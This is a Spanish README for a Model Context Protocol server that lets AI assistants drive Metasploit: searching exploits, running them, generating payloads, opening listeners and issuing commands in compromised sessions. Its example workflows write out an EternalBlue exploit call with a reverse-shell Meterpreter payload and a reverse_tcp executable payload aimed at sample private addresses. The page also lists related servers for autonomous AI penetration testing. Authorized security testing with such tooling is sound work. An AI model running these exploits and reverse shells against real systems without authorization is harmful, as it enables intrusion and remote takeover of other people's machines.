Servidor MCP de Metasploit
Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Descripción
Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.
Características
Información del módulo
list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles
list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura
Flujo de trabajo de explotación
run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero
run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas
run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes
Generación de carga útil
generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)
Gestión de sesiones
list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada
send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter
cease_session : Finalizar forzosamente una sesión activa
Gestión de controladores
list_listeners : muestra todos los controladores activos y trabajos en segundo plano
start_listener : Crea un nuevo multi/handler para recibir conexiones
stop_job : Finaliza cualquier trabajo o controlador en ejecución
Prerrequisitos
Metasploit Framework instalado y msfrpcd ejecutándose
Python 3.10 o superior
Paquetes de Python necesarios (consulte requirements.txt)
Instalación
Clonar este repositorio
Instalar dependencias:
pip install -r requirements.txtConfigurar variables de entorno (opcional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Uso
Inicie el servicio RPC de Metasploit:
Opciones de transporte
El servidor admite dos métodos de transporte:
HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP
STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares
Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport
:
Opciones adicionales para el modo HTTP:
Integración de escritorio de Claude
Para la integración de Claude Desktop, configure claude_desktop_config.json
:
Otros clientes de MCP
Para otros clientes MCP que utilizan HTTP/SSE:
Inicie el servidor en modo HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Configure su cliente MCP para conectarse a:
Punto final de SSE:
http://your-server-ip:8085/sse
Consideraciones de seguridad
⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :
Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.
Siempre valide y revise todos los comandos antes de ejecutarlos
Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada
Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.
Flujos de trabajo de ejemplo
Explotación básica
Lista de exploits disponibles:
list_exploits("ms17_010")
Seleccione y ejecute un exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
Lista de sesiones:
list_active_sessions()
Ejecutar comandos:
send_session_command(1, "whoami")
Post-explotación
Ejecutar un módulo de publicación:
run_post_module("windows/gather/enum_logged_on_users", 1)
Enviar comandos personalizados:
send_session_command(1, "sysinfo")
Terminar cuando haya terminado:
terminate_session(1)
Gestión de controladores
Iniciar un oyente:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
Lista de controladores activos:
list_listeners()
Generar una carga útil:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
Detener un controlador:
stop_job(1)
Opciones de configuración
Directorio de guardado de carga útil
De forma predeterminada, las cargas útiles generadas con generate_payload
se guardan en un directorio payloads
en su carpeta de inicio ( ~/payloads
o C:\Users\YourUsername\payloads
). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR
.
Configuración de la variable de entorno:
Ventanas (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (Símbolo del sistema) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsEn la configuración de Claude Desktop :
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.
Licencia
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Proporciona un puente entre los modelos de lenguaje grandes y el marco Metasploit, lo que permite a los asistentes de IA acceder y controlar la funcionalidad de pruebas de penetración a través del lenguaje natural.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -66
- -securityAlicense-qualityA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.Last updated -13Apache 2.0
- -securityAlicense-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -3GPL 3.0
- -securityAlicense-qualityA middleware system that connects large language models (LLMs) with various tool services through an OpenAI-compatible API, enabling enhanced AI assistant capabilities with features like file operations, web browsing, and database management.Last updated -3MIT License